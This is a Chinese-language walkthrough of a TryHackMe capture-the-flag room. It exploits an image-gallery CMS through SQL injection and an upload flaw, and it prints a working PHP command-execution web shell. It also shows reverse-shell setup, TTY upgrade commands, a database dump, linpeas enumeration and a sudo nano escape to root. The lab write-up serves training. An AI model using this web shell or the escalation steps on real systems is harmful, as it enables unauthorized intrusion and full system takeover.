前言
房间地址:https://tryhackme.com/room/gallery666
本次可以学习到非常多的知识,包括SQL注入,文件上传漏洞,Rce漏洞命令执行,Kali-linux中searchsploit数据库里漏洞脚本的利用,加固Shell以及使用国外脚本梭哈提权.
实战
靶机地址:10.10.171.124
nmap -A -sC 10.10.171.124
两个端口进入8080后是
Cms系统如题目
Simple Image Gallery
用kali自带的
searchsploit Simple Image Gallery
Sql injection翻译过来就是SQL注入 而且给了传入参数是ID 以’闭合
直接Sign in
传马
还是用冰蝎吧
我喜欢直接用冰蝎反弹shell
但是冰蝎有点傻b
但是我反弹之后一会儿就会断 好烦
这两个傻b软件
所以我们还是回归最原始的shell
用的是我之前文章的shell
发现连了还是断
最后还是用了一句话木马 通过看橘墨的直播我也看他们也是用一句话 才发现shell在吊打靶场不如先一句话方便
我也尝试了
到https://www.revshells.com/生成shell
burp抓包
NC那里还是失败了
而且我之前尝试拿下数据库账号密码 也登录不上去 很烦人
要么就是连接问题 我在重来一遍如果判断出是连接vpn问题 就是这该死vpn一直断
以后就不打THM 打htb了 Thm这有点恶心
几小时的尝试失败了 ,重来一遍
此时我重启机器
靶机地址也就更换成了:10.10.48.61
我想判断是我shell问题还是连接问题
因此我上传两个shell
一个是我自己的shell 一个是标准答案的shell
我先上传自己的shell 再查看一下标准答案的shell
上传一句话
之前咱们搜索了画廊CMS的漏洞 我们去用标准的shell
这个就是RCE执行漏洞的脚本
让我们看看脚本是怎么写的 把脚本复制到桌面上
ssearchsploit -m php/webapps/50214.py
全自动化的 ,这是他们构造的shell
让我们去kali那里运行他吧
这傻bVPN 真慢
卡死在这里了 本来应该能出的
不得已 我在本机运行python脚本
看到已经上传了
我们去看一下他们上传的shell
之前我们是蚁剑是穿过shell的我们去看一下他们传的一句话
好 那我们就记住这个一句话木马 比我们写的好
<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
那么还是老样子 burpsuite抓包上传试试
发送到重放器(如果不了解)请看我上上一篇的SQL注入有用到burpsuite
我这里重新生成一个
给他转码!
转换之后成红色了
在发送之前我们开启5678监听
我尝试url编码去直接发送
还是失败了
还是失败了
还是失败了
下面我就判断是不是VPN问题 我尝试去给我更换一个IP
此时我把我的内网ip更换一下
草
解决是我们需要全部编码:
但是还有一个坑
我这里用工具转换的是出不了的 必须用burp转换
妈的 终于出shell了
加固Shell创建终端环境
来自AI解释
id
:
- 这是一个常用的Unix命令,用于显示当前用户的用户ID和组ID,以及用户所属的所有组。
export TERM=xterm
:
- 这是一个shell命令,用于设置环境变量
TERM
的值为xterm
。TERM
环境变量定义了终端的类型,这对于某些程序(如文本编辑器或shell)来说是重要的,因为它们会根据这个变量来决定如何显示文本和响应用户输入。which python3
:
- 这个命令用于查找
python3
命令的路径。which
命令会搜索系统的PATH环境变量中列出的目录,以找到给定命令的完整路径。python3 -c 'import pty;pty.spawn("/bin/bash")'
:
- 这个命令使用Python来启动一个新的bash shell。这里,Python的
pty
模块被用来创建一个伪终端,并在这个终端上启动bash。这通常用于从受限的环境中获取一个更完整的shell。ctrl+z退出
:
ctrl+z
是一个键盘快捷键,用于将当前运行的程序放到后台暂停。在Unix-like系统中,你可以按fg
(foreground的缩写)来恢复被暂停的程序到前台。stty raw -echo ; fg
:
stty raw -echo
更改终端设置,使输入的字符不被处理(例如,Ctrl+C不会发送中断信号),并且输入的字符不会被回显到屏幕上。然后使用fg
命令将bash shell恢复到前台。reset 重新连接
:
reset
命令用于重置终端的参数和状态到它们的默认值。在某些情况下,当终端设置被更改或损坏时,这很有用。但是从你给出的命令中,“重新连接”似乎是一个不完整的命令或说明,我无法为你提供更多关于它的信息。
加固shell这几行就可以了
id
export TERM=xterm
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
#此时按ctrl+z 退出
再输入:
stty raw -echo ; fg
reset 重新连接
这样命令不会回显前台,另外也创造终端环境为后续提权
日进数据库查密码
也可以
其实这个我早就拿过了
只是我mysql -u因为没有拿到shell登录不上现在应该可以了
mysql -u gallery_user -p
下面查数据库一套行云流水
如果您还不会数据库基本语法可以看我这篇文章
show databases;
use gallery_db;
show tables;
select * from users;
利用国外大佬py脚本进行提权!
查看系统的所有用户信息
cat /etc/passwd
我终端已关闭shell就没了!在连也连不上了
这给我是致命的打击 因为我从九点 做到此时凌晨了已经六个小时我都没有拿下这个靶场!
人生有很多失败,大不了重来!
大不了重来!!!
重新传shell
这次先不加固了 提权要紧
看来我们必须提权这也与预料的一样
user.txt也拿不到必须提权
把脚本弄到服务器上
我这里在连一下蚁剑传
cd /var/tmp
ls
chmod 777 linpeas.sh #给予最高权限
./linpeas.sh
大宝贝出来了
我们可以看到这里豌豆给的CVE漏洞真多啊
脚本根据CVE漏洞已经帮我们跑出来了密码
mike密码终于出来了!!
这时候我们su mike会报错
su mike
su: must be run from a terminal
因为此时并不是终端环境
再来一遍就是了!
OK
拿flag!
让我们看一下mike的权限
可以看到我们暂时无法看到root的
但是我们可以以root身份nano编辑/opt/rootkit.sh脚本
介绍一下/opt/rookit.sh 我们通过谷歌搜索也找到了如何升级特权
https://gtfobins.github.io/gtfobins/nano/
Rootkit 是一种恶意软件(或一组软件工具),它允许攻击者在系统上隐藏其存在、维持
访问权限并控制受感染的系统。Rootkit 通常旨在逃避标准的系统管理工具和安全程序的检
测。
下面以root身份 编辑rookit.sh脚本
sudo -u root /bin/bash /opt/rootkit.sh
read
进去之后
按CTRL+R CTRL+X
写入命令 重定向终端
reset; sh 1>&0 2>&0
下面是AI解释
reset; sh 1>&0 2>&0
是一个在Unix-like系统(如Linux)的shell中执行的命令序列,其中包含了几个不同的部分,下面我会逐一解释:
reset
: 这是一个用于重置终端或shell到其初始状态的命令。它通常用于清除屏幕上的任何混乱或残留的文本,并恢复终端设置到默认状态。sh
: 这是Bourne shell的简写,也是Unix系统中最原始和最基础的shell。在这里,sh
命令用于启动一个新的shell实例。但是,通常你不会单独只写sh
,因为那样做的话新的shell会等待你输入命令。在这个上下文中,它后面跟着重定向操作,这意味着它可能用于执行来自某个输入的重定向脚本。
结束前让nano编辑坑了一把
c了 我就 这nano模式有点难受
不得不退出终端在连一次了
从九点打到凌晨四点快给我打崩溃了
回车
whoami
我们是root了
回到我们的shell环境
重新终端环境
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat root.txt
从晚上九点到现在凌晨四点历经七个小时 我终于拿到了flag
暂无评论内容